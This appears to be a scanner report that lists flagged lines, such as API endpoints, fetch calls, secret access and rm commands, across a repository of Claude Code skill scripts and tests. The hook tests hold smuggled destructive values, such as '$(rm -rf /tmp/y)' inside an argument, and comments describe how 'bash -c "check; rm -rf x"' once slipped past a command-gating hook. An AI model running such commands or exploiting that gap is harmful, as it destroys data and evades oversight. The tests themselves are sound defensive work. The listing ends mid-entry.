    "env": {     "ANTHROPIC_BASE_URL": "https://api.minimaxi.com/anthropic",     "ANTHROPIC_DEFAULT_HAIKU_MODEL": "MiniMax-M2.7",
  • Network accessline 3
    "ANTHROPIC_BASE_URL": "https://api.minimaxi.com/anthropic",

daymade-claude-code/claude-switch-models-setup/assets/templates/minimax-m2-7.json

  • Network accessline 1
    {   "env": {     "ANTHROPIC_BASE_URL": "https://api.minimax.io/anthropic",
  • Network accessline 2
    "env": {     "ANTHROPIC_BASE_URL": "https://api.minimax.io/anthropic",     "ANTHROPIC_DEFAULT_HAIKU_MODEL": "MiniMax-M2.7",
  • Network accessline 3
    "ANTHROPIC_BASE_URL": "https://api.minimax.io/anthropic",

daymade-claude-code/claude-switch-models-setup/assets/templates/minimax.json

  • Network accessline 1
    {   "env": {     "ANTHROPIC_BASE_URL": "https://api.minimax.io/anthropic",
  • Network accessline 2
    "env": {     "ANTHROPIC_BASE_URL": "https://api.minimax.io/anthropic",     "ANTHROPIC_DEFAULT_HAIKU_MODEL": "MiniMax-M3[1m]",
  • Network accessline 3
    "ANTHROPIC_BASE_URL": "https://api.minimax.io/anthropic",

daymade-claude-code/claude-switch-models-setup/references/context-window-config.md

  • Access to secretsline 110
    [Credential-related source omitted]
  • Network accessline 111
    [Credential-related source omitted]
  • Network accessline 112
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]
  • Network accessline 113
    ANTHROPIC_BASE_URL=f"http://127.0.0.1:{server.server_port}",

daymade-claude-code/claude-switch-models-setup/references/credential-storage.md

  • Access to secretsline 12
    [Credential-related source omitted]
  • Access to secretsline 13
    [Credential-related source omitted]
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 154
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/references/student-setup-guide.md

  • Network accessline 73
    {   "env": {     "ANTHROPIC_BASE_URL": "https://api.moonshot.cn",
  • Network accessline 74
    "env": {     "ANTHROPIC_BASE_URL": "https://api.moonshot.cn",     "ANTHROPIC_MODEL": "kimi-k2.7-code",
  • Network accessline 75
    "ANTHROPIC_BASE_URL": "https://api.moonshot.cn",
  • Access to secretsline 90
    [Credential-related source omitted]
  • Access to secretsline 98
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/scripts/claude-plugins-sync.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 82
    [Credential-related source omitted]
  • Access to secretsline 84
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/scripts/claude-plugins-sync.test.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 54
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/scripts/claude-profiles.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 12
    # - Safe removal: rm only deletes the isolation directory, never shared data
  • Dangerous shell operationline 173
    rm "$stale_link"
  • Dangerous shell operationline 554
    rm -rf "$profile_dir"

daymade-claude-code/claude-switch-models-setup/scripts/prune-source-sync-backups.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 33
    [Credential-related source omitted]
  • Access to secretsline 35
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/scripts/seed-codex-active-skills.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/claude-switch-models-setup/scripts/setup.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 103
    echo "" echo "4. (Optional) Install statusline-generator for per-profile status bars:" echo "   https://github.com/daymade/claude-code-skills/tree/main/daymade-claude-code/statusline-generator"
  • Network accessline 104
    echo "4. (Optional) Install statusline-generator for per-profile status bars:" echo "   https://github.com/daymade/claude-code-skills/tree/main/daymade-claude-code/statusline-generator" echo "   claude-profiles-init will auto-wire it if pre
  • Network accessline 105
    echo "   https://github.com/daymade/claude-code-skills/tree/main/daymade-claude-code/statusline-generator"

daymade-claude-code/claude-switch-models-setup/scripts/skill-install-audit.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 75
    [Credential-related source omitted]
  • Access to secretsline 76
    [Credential-related source omitted]
  • Access to secretsline 78
    [Credential-related source omitted]
  • Access to secretsline 96
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/scripts/sync-daemon-recorder.sh

  • Executable scriptline 1
    #!/bin/bash

daymade-claude-code/claude-switch-models-setup/scripts/sync-daemon-recorder.test.sh

  • Executable scriptline 1
    #!/bin/bash
  • Dangerous shell operationline 17
    trap 'rm -rf "$FIX"' EXIT

daymade-claude-code/claude-switch-models-setup/scripts/sync-local-skill-sources-daemon.sh

  • Executable scriptline 1
    #!/bin/bash
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 98
    [Credential-related source omitted]
  • Access to secretsline 194
    [Credential-related source omitted]
  • Access to secretsline 199
    [Credential-related source omitted]
  • Access to secretsline 203
    [Credential-related source omitted]
  • Access to secretsline 204
    [Credential-related source omitted]
  • Access to secretsline 206
    [Credential-related source omitted]
  • Dangerous shell operationline 223
    rm -f "$PLIST_PATH"

daymade-claude-code/claude-switch-models-setup/scripts/sync-local-skill-sources.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 938
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/scripts/sync-profile-settings.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 18
    [Credential-related source omitted]
  • Access to secretsline 164
    [Credential-related source omitted]
  • Access to secretsline 165
    [Credential-related source omitted]
  • Access to secretsline 536
    [Credential-related source omitted]
  • Access to secretsline 578
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/scripts/sync-profile-settings.test.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 187
    (pr / "settings.json").write_text(json.dumps({     "env": {"RESIDUE": "1", "ENABLE_TOOL_SEARCH": "false",             "ANTHROPIC_BASE_URL": "http://profile.example"}}))
  • Network accessline 188
    "env": {"RESIDUE": "1", "ENABLE_TOOL_SEARCH": "false",             "ANTHROPIC_BASE_URL": "http://profile.example"}})) c_i, _, _, rem_i = sps.sync_profile(pr, write=True)
  • Network accessline 189
    "ANTHROPIC_BASE_URL": "http://profile.example"}}))
  • Network accessline 194
    out_i["env"].get("ENABLE_TOOL_SEARCH") == "false", out_i["env"]) check("identity ANTHROPIC_BASE_URL survives empty main env",       out_i["env"].get("ANTHROPIC_BASE_URL") == "http://profile.example", out_i["env"])
  • Network accessline 195
    check("identity ANTHROPIC_BASE_URL survives empty main env",       out_i["env"].get("ANTHROPIC_BASE_URL") == "http://profile.example", out_i["env"]) check("removed lists exactly the non-identity key", rem_i == ["RESIDUE"], rem_i)
  • Network accessline 196
    out_i["env"].get("ANTHROPIC_BASE_URL") == "http://profile.example", out_i["env"])
  • Access to secretsline 287
    [Credential-related source omitted]
  • Access to secretsline 295
    [Credential-related source omitted]
  • Access to secretsline 833
    [Credential-related source omitted]
  • Access to secretsline 837
    [Credential-related source omitted]
  • Access to secretsline 899
    [Credential-related source omitted]
  • Access to secretsline 900
    [Credential-related source omitted]
  • Access to secretsline 917
    [Credential-related source omitted]
  • Access to secretsline 919
    [Credential-related source omitted]
  • Access to secretsline 935
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/tests/test_authoring_pools.py

  • Executable scriptline 1
    Executable file
  • Network accessline 36
    self.origin = "https://example.invalid/fixture/skills.git"
  • Access to secretsline 158
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/tests/test_credential_binding.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 26
    [Credential-related source omitted]
  • Access to secretsline 34
    [Credential-related source omitted]
  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 41
    [Credential-related source omitted]
  • Access to secretsline 43
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Dangerous shell operationline 52
    eval 'sample -p fixture'
  • Access to secretsline 65
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/tests/test_daemon_interpreter_compat.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/claude-switch-models-setup/tests/test_daemon_runtime_lag.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/claude-switch-models-setup/tests/test_native_command.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 62
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/tests/test_prune_source_sync_backups.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/claude-switch-models-setup/tests/test_setup.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 74
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 147
    [Credential-related source omitted]
  • Access to secretsline 163
    [Credential-related source omitted]
  • Access to secretsline 220
    [Credential-related source omitted]
  • Access to secretsline 280
    [Credential-related source omitted]

daymade-claude-code/claude-switch-models-setup/tests/test_skill_install_audit.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/claude-switch-models-setup/tests/test_source_sync_daemon.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 76
    [Credential-related source omitted]
  • Network accessline 102
    '<?xml version="1.0" encoding="UTF-8"?>\n'             '<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" '             '"http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n'
  • Network accessline 103
    '<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" '             '"http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n'             f'<plist version="1.0"><dict><key>Label</key><string>{LABEL}</string>'
  • Network accessline 104
    '"http://www.apple.com/DTDs/PropertyList-1.0.dtd">\n'

daymade-claude-code/claude-switch-models-setup/tests/test_sync_local_skill_sources.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 960
    [Credential-related source omitted]
  • Access to secretsline 978
    [Credential-related source omitted]
  • Access to secretsline 1001
    [Credential-related source omitted]

daymade-claude-code/claude-usage-analyst/scripts/analyze_claude_usage.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/continue-codex-work/references/native-goal-reconciliation.md

  • Network accessline 78
    The [official Goal guide](https://developers.openai.com/cookbook/examples/codex/using_goals_in_codex)
  • Network accessline 79
    documents `/goal resume`. In the version-pinned [TUI dispatch](https://github.com/openai/codex/blob/rust-v0.163.0/codex-rs/tui/src/chatwidget/slash_dispatch.rs#L991) and [Goal action](https://github.com/openai/codex/blob/rust-v0.163.0/codex
  • Network accessline 80
    [TUI dispatch](https://github.com/openai/codex/blob/rust-v0.163.0/codex-rs/tui/src/chatwidget/slash_dispatch.rs#L991) and [Goal action](https://github.com/openai/codex/blob/rust-v0.163.0/codex-rs/tui/src/app/thread_goal_actions.rs#L233), it
  • Network accessline 81
    and [Goal action](https://github.com/openai/codex/blob/rust-v0.163.0/codex-rs/tui/src/app/thread_goal_actions.rs#L233), it requests `active` for the existing thread while omitting objective and budget replacement. Verify support on the inst

daymade-claude-code/lark-cli-router/references/document-layout.md

  • Network accessline 17
    Feishu's [page-width help](https://www.feishu.cn/hc/zh-CN/articles/909135942944-设置文档页面宽度)

daymade-claude-code/lark-cli-router/scripts/find_recording_candidates.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 54
    [Credential-related source omitted]

daymade-claude-code/marketplace-dev/SKILL.md

  • Network accessline 231
    Follow [Skill Creator's versioning contract](https://github.com/daymade/claude-code-skills/blob/main/daymade-skill/skill-creator/SKILL.md)
  • Network accessline 231
    Follow [Skill Creator's versioning contract](https://github.com/daymade/claude-code-skills/blob/main/daymade-skill/skill-creator/SKILL.md)
  • Network accessline 232
    and [release readiness](https://github.com/daymade/claude-code-skills/blob/main/daymade-skill/skill-creator/references/release-readiness.md)
  • Network accessline 232
    and [release readiness](https://github.com/daymade/claude-code-skills/blob/main/daymade-skill/skill-creator/references/release-readiness.md)

daymade-claude-code/marketplace-dev/hooks/post_edit_sync_check.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

daymade-claude-code/marketplace-dev/hooks/post_edit_validate.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

daymade-claude-code/marketplace-dev/references/marketplace_schema.md

  • Network accessline 3
    Source: https://code.claude.com/docs/en/plugin-marketplaces + https://code.claude.com/docs/en/plugins-reference
  • Network accessline 78
    | Relative path | string `"./<dir>"` | `"source": "./my-skill"` | | GitHub | object | `{"source": "github", "repo": "owner/repo"}` | | Git URL | object | `{"source": "url", "url": "https://..."}` |
  • Network accessline 79
    | GitHub | object | `{"source": "github", "repo": "owner/repo"}` | | Git URL | object | `{"source": "url", "url": "https://..."}` | | Git subdirectory | object | `{"source": "git-subdir", "url": "...", "path": "..."}` |
  • Network accessline 80
    | Git URL | object | `{"source": "url", "url": "https://..."}` |

daymade-claude-code/marketplace-dev/scripts/check_doc_skill_lists.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/marketplace-dev/scripts/check_marketplace.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

daymade-claude-code/marketplace-dev/tests/test_check_doc_skill_lists.py

  • Executable scriptline 1
    Executable file
  • Network accessline 24
    )         prefix = "### 1. " if numbered else "### "         badge_line = "[![Version](https://img.shields.io/badge/version-9.9.9-green.svg)]\n" if badge else ""
  • Network accessline 25
    prefix = "### 1. " if numbered else "### "         badge_line = "[![Version](https://img.shields.io/badge/version-9.9.9-green.svg)]\n" if badge else ""         for name in ("README.md", "README.zh-CN.md"):
  • Network accessline 26
    badge_line = "[![Version](https://img.shields.io/badge/version-9.9.9-green.svg)]\n" if badge else ""

daymade-claude-code/prior-work-retrieval/scripts/prior-work-retrieval.sh

  • Executable scriptline 1
    #!/usr/bin/env bash

daymade-claude-code/prior-work-retrieval/scripts/prior_work.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 68
    [Credential-related source omitted]
  • Access to secretsline 357
    [Credential-related source omitted]
  • Access to secretsline 368
    [Credential-related source omitted]
  • Access to secretsline 374
    [Credential-related source omitted]
  • Access to secretsline 1676
    [Credential-related source omitted]
  • Access to secretsline 1681
    [Credential-related source omitted]
  • Access to secretsline 1690
    [Credential-related source omitted]

daymade-claude-code/prior-work-retrieval/scripts/prior_work_hook.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Dangerous shell operationline 663
    # 替换(script.py "$(rm -rf x)")仍由下方 fail-closed 检查拦死。
  • Dangerous shell operationline 886
    # under raw-text matching `bash -c "check; rm -rf x"` was allowed,
  • Dangerous shell operationline 887
    # because rm is not a write-signal word and the quoted "check"
  • Dangerous shell operationline 891
    # above, which also keeps `eval "git …"` closed.
  • Access to secretsline 1055
    [Credential-related source omitted]
  • Access to secretsline 1238
    [Credential-related source omitted]
  • Access to secretsline 1239
    [Credential-related source omitted]
  • Access to secretsline 1306
    [Credential-related source omitted]
  • Access to secretsline 1308
    [Credential-related source omitted]

daymade-claude-code/prior-work-retrieval/scripts/surface_version.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/prior-work-retrieval/scripts/verify_artifact.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/prior-work-retrieval/tests/test_current_execution.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 46
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 290
    [Credential-related source omitted]

daymade-claude-code/prior-work-retrieval/tests/test_prior_work.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/prior-work-retrieval/tests/test_prior_work_hook.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 196
    [Credential-related source omitted]
  • Dangerous shell operationline 555
    "command": "uv run python scripts/prior_work.py retrieve --business-outcome \"$(rm -rf /tmp/y)\""
  • Dangerous shell operationline 874
    # whole segment, so `bash -c "check; rm -rf x"` passed (rm is not
  • Dangerous shell operationline 878
    'bash -c "check; rm -rf x"',
  • Access to secretsline 1390
    [Credential-related source omitted]
  • Access to secretsline 1411
    [Credential-related source omitted]
  • Access to secretsline 1516
    [Credential-related source omitted]
  • Access to secretsline 1534
    [Credential-related source omitted]
  • Access to secretsline 1536
    [Credential-related source omitted]
  • Access to secretsline 1557
    [Credential-related source omitted]

daymade-claude-code/prior-work-retrieval/tests/test_source_freshness.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 28
    [Credential-related source omitted]

daymade-claude-code/prior-work-retrieval/tests/test_surface_version.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/prior-work-retrieval/tests/test_verify_artifact.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-claude-code-history/references/claude_session_format.md

  • Network accessline 77
    Claude Code uses [server-side compaction](https://platform.claude.com/docs/en/build-with-claude/compaction). When context fills up, two consecutive lines appear:

daymade-claude-code/read-claude-code-history/scripts/_core/__init__.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-claude-code-history/scripts/_core/claude.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-claude-code-history/scripts/_core/codex.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]

daymade-claude-code/read-claude-code-history/scripts/_core/homes.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 71
    [Credential-related source omitted]

daymade-claude-code/read-claude-code-history/scripts/_core/kimi.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 105
    [Credential-related source omitted]

daymade-claude-code/read-claude-code-history/scripts/_core/model.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-claude-code-history/scripts/_core/native_output.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-claude-code-history/scripts/_core/parse.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-claude-code-history/scripts/_core/sources.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-claude-code-history/scripts/_core/text.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-claude-code-history/scripts/analyze_sessions.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 2155
    [Credential-related source omitted]

daymade-claude-code/read-claude-code-history/scripts/extract_user_messages.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/read-claude-code-history/scripts/history_index.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 201
    [Credential-related source omitted]
  • Access to secretsline 256
    [Credential-related source omitted]
  • Network accessline 318
    asset, expected_sha = _platform_asset()     url = (         "https://github.com/wangfenjin/simple/releases/download/"
  • Network accessline 319
    url = (         "https://github.com/wangfenjin/simple/releases/download/"         f"{SIMPLE_VERSION}/{asset}"
  • Network accessline 320
    "https://github.com/wangfenjin/simple/releases/download/"
  • Network accessline 327
    temp_dir = Path(temp_name)         archive = temp_dir / asset         request = urllib.request.Request(url, headers={"User-Agent": "history-index-setup/1"})
  • Network accessline 328
    archive = temp_dir / asset         request = urllib.request.Request(url, headers={"User-Agent": "history-index-setup/1"})         try:
  • Network accessline 329
    request = urllib.request.Request(url, headers={"User-Agent": "history-index-setup/1"})
  • Network accessline 330
    try:             with urllib.request.urlopen(request, timeout=120) as response, archive.open(                 "wb"
  • Network accessline 331
    with urllib.request.urlopen(request, timeout=120) as response, archive.open(

daymade-claude-code/read-claude-code-history/scripts/list_local_history.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 532
    [Credential-related source omitted]
  • Access to secretsline 840
    [Credential-related source omitted]

daymade-claude-code/read-claude-code-history/scripts/read_claude_session.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/read-claude-code-history/scripts/recover_content.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/read-claude-code-history/scripts/skill_usage_ledger.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/read-claude-code-history/scripts/surface_version.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/read-claude-code-history/scripts/verify_cc_claims.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/read-claude-code-history/tests/test_analyze_sessions.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 101
    [Credential-related source omitted]
  • Access to secretsline 121
    [Credential-related source omitted]
  • Access to secretsline 1689
    [Credential-related source omitted]
  • Access to secretsline 1727
    [Credential-related source omitted]
  • Access to secretsline 1780
    [Credential-related source omitted]

daymade-claude-code/read-claude-code-history/tests/test_cc_behavior_claims.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/read-claude-code-history/tests/test_core_text.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/read-claude-code-history/tests/test_extract_user_messages.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/read-claude-code-history/tests/test_history_index.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-claude-code-history/tests/test_hook_events.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 111
    [Credential-related source omitted]

daymade-claude-code/read-claude-code-history/tests/test_kimi_search.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 581
    [Credential-related source omitted]
  • Access to secretsline 601
    [Credential-related source omitted]

daymade-claude-code/read-claude-code-history/tests/test_list_local_history.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 1369
    [Credential-related source omitted]

daymade-claude-code/read-claude-code-history/tests/test_native_output.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-claude-code-history/tests/test_read_claude_session.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 346
    [Credential-related source omitted]
  • Access to secretsline 507
    [Credential-related source omitted]
  • Access to secretsline 559
    [Credential-related source omitted]
  • Access to secretsline 698
    [Credential-related source omitted]
  • Access to secretsline 714
    [Credential-related source omitted]
  • Access to secretsline 1479
    [Credential-related source omitted]
  • Access to secretsline 1659
    [Credential-related source omitted]

daymade-claude-code/read-claude-code-history/tests/test_recover_content.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 143
    [Credential-related source omitted]
  • Access to secretsline 725
    [Credential-related source omitted]

daymade-claude-code/read-claude-code-history/tests/test_skill_usage_ledger.py

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-claude-code-history/tests/test_surface_version.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/read-claude-code-history/tests/test_tool_calls.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 104
    [Credential-related source omitted]
  • Access to secretsline 124
    [Credential-related source omitted]

daymade-claude-code/read-claude-code-history/tests/test_tool_evidence.py

  • Executable scriptline 1
    Executable file
  • Access to secretsline 44
    [Credential-related source omitted]

daymade-claude-code/read-claude-web-conversation/SKILL.md

  • Network accessline 39
    Cloudflare challenge page (HTTP 403, `Just a moment...`). Nothing you do to    the headers fixes this; the page is gated on a session that lives in the    user's Chrome. **Never reach for curl here, not even to "just check".**
  • Network accessline 40
    the headers fixes this; the page is gated on a session that lives in the    user's Chrome. **Never reach for curl here, not even to "just check".** 2. **Virtual scrolling.** With the conversation open, `get_page_text` and DOM
  • Network accessline 41
    user's Chrome. **Never reach for curl here, not even to "just check".**
  • Network accessline 68
    | 2 | **CDP** (`scripts/cdp_channel.py probe`) | probe says `available: true` — then it is the best channel there is | Usually unavailable, and that is **normal, not a malfunction** — see below. Probe is cheap; believe its answer and move o
  • Network accessline 70
    | ✗ | **curl / WebFetch** | **never** | Cloudflare 403. There is no header that fixes it. |

daymade-claude-code/read-claude-web-conversation/references/applescript_fallback_channel.md

  • Network accessline 155
    (async () => {   try {     const r = await fetch('/api/...', { headers: { accept: 'application/json' } });
  • Network accessline 156
    try {     const r = await fetch('/api/...', { headers: { accept: 'application/json' } });     window.__export = { ok: r.ok, data: await r.json() };
  • Network accessline 157
    const r = await fetch('/api/...', { headers: { accept: 'application/json' } });
  • Network accessline 209
    return btoa(bin); }; // window.__dl[name] = toB64(await (await fetch(url)).arrayBuffer());
  • Network accessline 211
    // window.__dl[name] = toB64(await (await fetch(url)).arrayBuffer());

daymade-claude-code/read-claude-web-conversation/references/claude-web-api-extraction.md

  • Network accessline 44
    - `{convId}` is the last path segment of the open URL   (`location.pathname.split('/').pop()`), e.g. for   `https://claude.ai/chat/<id>` it is `<id>`.
  • Network accessline 45
    (`location.pathname.split('/').pop()`), e.g. for   `https://claude.ai/chat/<id>` it is `<id>`. - `tree=True&rendering_mode=raw` returns the raw message text; complete for
  • Network accessline 46
    `https://claude.ai/chat/<id>` it is `<id>`.
  • Network accessline 219
    // Run inside the claude.ai conversation page. const orgs = await fetch('/api/organizations', { headers: { accept: 'application/json' } })
  • Network accessline 220
    const orgs = await fetch('/api/organizations', { headers: { accept: 'application/json' } })
  • Network accessline 225
    const conv = await fetch(
  • Network accessline 351
    | Auth redirect / empty shell / "Log in" title | Not running in the user's logged-in session (e.g. curl/headless), or they're signed out | Use the user's Chrome via claude-in-chrome; ask them to sign in if needed | | Extension won't connect
  • Network accessline 352
    | Extension won't connect at all (`list_connected_browsers` → `[]`) | Extension signed into a different claude.ai account than Claude Code | On macOS, switch to the AppleScript channel — `references/applescript_fallback_channel.md` | | `404
  • Network accessline 353
    | `404` on the conversation fetch | Wrong org, or wrong `convId` | List orgs: `(await fetch('/api/organizations').then(r=>r.json())).map(o=>({uuid:o.uuid,name:o.name}))`; verify `convId` against `location.pathname` |

daymade-claude-code/read-claude-web-conversation/scripts/cdp_channel.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Access to secretsline 101
    [Credential-related source omitted]
  • Access to secretsline 102
    [Credential-related source omitted]
  • Access to secretsline 103
    [Credential-related source omitted]
  • Access to secretsline 107
    [Credential-related source omitted]
  • Access to secretsline 110
    [Credential-related source omitted]
  • Access to secretsline 112
    [Credential-related source omitted]

daymade-claude-code/read-claude-web-conversation/scripts/download_files.js

  • Executable scriptline 1
    Executable file
  • Network accessline 25
    try {     const convId = location.pathname.split('/').pop();     const orgResponse = await fetch('/api/organizations', {
  • Network accessline 26
    const convId = location.pathname.split('/').pop();     const orgResponse = await fetch('/api/organizations', {       headers: { accept: 'application/json' }
  • Network accessline 27
    const orgResponse = await fetch('/api/organizations', {
  • Network accessline 33
    for (const o of orgs) {       try {         const r = await fetch(
  • Network accessline 34
    try {         const r = await fetch(           `/api/organizations/${o.uuid}/chat_conversations/${convId}?tree=True&rendering_mode=messages&render_all_tools=true`,
  • Network accessline 35
    const r = await fetch(
  • Network accessline 94
    for (const { name, url, expect } of jobs.values()) {       try {         const r = await fetch(url, { headers: { accept: '*/*' } });
  • Network accessline 95
    try {         const r = await fetch(url, { headers: { accept: '*/*' } });         if (!r.ok) { status.push(`${name} => FAIL ${r.status}`); continue; }
  • Network accessline 96
    const r = await fetch(url, { headers: { accept: '*/*' } });

daymade-claude-code/read-claude-web-conversation/scripts/export_conversation.js

  • Executable scriptline 1
    Executable file
  • Network accessline 19
    try {     const convId = location.pathname.split('/').pop(); // from the open URL; never hard-code     const orgs = await fetch('/api/organizations', { headers: { accept: 'application/json' } })
  • Network accessline 20
    const convId = location.pathname.split('/').pop(); // from the open URL; never hard-code     const orgs = await fetch('/api/organizations', { headers: { accept: 'application/json' } })       .then(r => r.json());
  • Network accessline 21
    const orgs = await fetch('/api/organizations', { headers: { accept: 'application/json' } })
  • Network accessline 25
    for (const o of orgs) { // multi-org accounts: try each until one 200s       try {         const r = await fetch(
  • Network accessline 26
    try {         const r = await fetch(           `/api/organizations/${o.uuid}/chat_conversations/${convId}?tree=True&rendering_mode=messages&render_all_tools=true`,
  • Network accessline 27
    const r = await fetch(

daymade-claude-code/read-claude-web-conversation/scripts/fetch_cdp.js

  • Executable scriptline 1
    Executable file
  • Network accessline 16
    if (isShare) {       const r = await fetch(
  • Network accessline 17
    const r = await fetch(
  • Network accessline 25
    }     } else {       const orgs = await fetch('/api/organizations', {
  • Network accessline 26
    } else {       const orgs = await fetch('/api/organizations', {         headers: { accept: 'application/json' }
  • Network accessline 27
    const orgs = await fetch('/api/organizations', {
  • Network accessline 35
    for (const o of orgs) {         try {           const r = await fetch(
  • Network accessline 36
    try {           const r = await fetch(             `/api/organizations/${o.uuid}/chat_conversations/${last}?tree=True&rendering_mode=messages&render_all_tools=true`,
  • Network accessline 37
    const r = await fetch(

daymade-claude-code/read-claude-web-conversation/scripts/render_transcript.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 9
    Usage:   uv run python render_transcript.py conversation.json -o transcript.md   uv run python render_transcript.py conversation.json --source-url https://claude.ai/chat/<id>
  • Network accessline 10
    uv run python render_transcript.py conversation.json -o transcript.md   uv run python render_transcript.py conversation.json --source-url https://claude.ai/chat/<id>   uv run python render_transcript.py conversation.json --list-files
  • Network accessline 11
    uv run python render_transcript.py conversation.json --source-url https://claude.ai/chat/<id>

daymade-claude-code/read-claude-web-conversation/scripts/runjs.applescript

  • Executable scriptline 1
    Executable file

daymade-claude-code/read-claude-web-conversation/scripts/selftest_channel.py

  • Executable scriptline 1
    #!/usr/bin/env python3

daymade-claude-code/read-claude-web-conversation/scripts/selftest_fidelity.py

  • Executable scriptline 1
    #!/usr/bin/env python3
  • Network accessline 160
    'trailing whitespace in payload text must survive',         conv([msg('a', content=[{'type': 'tool_result', 'name': 'web_fetch', 'content': [             {'type': 'knowledge', 'title': 'T', 'url': 'http://example.com',
  • Network accessline 161
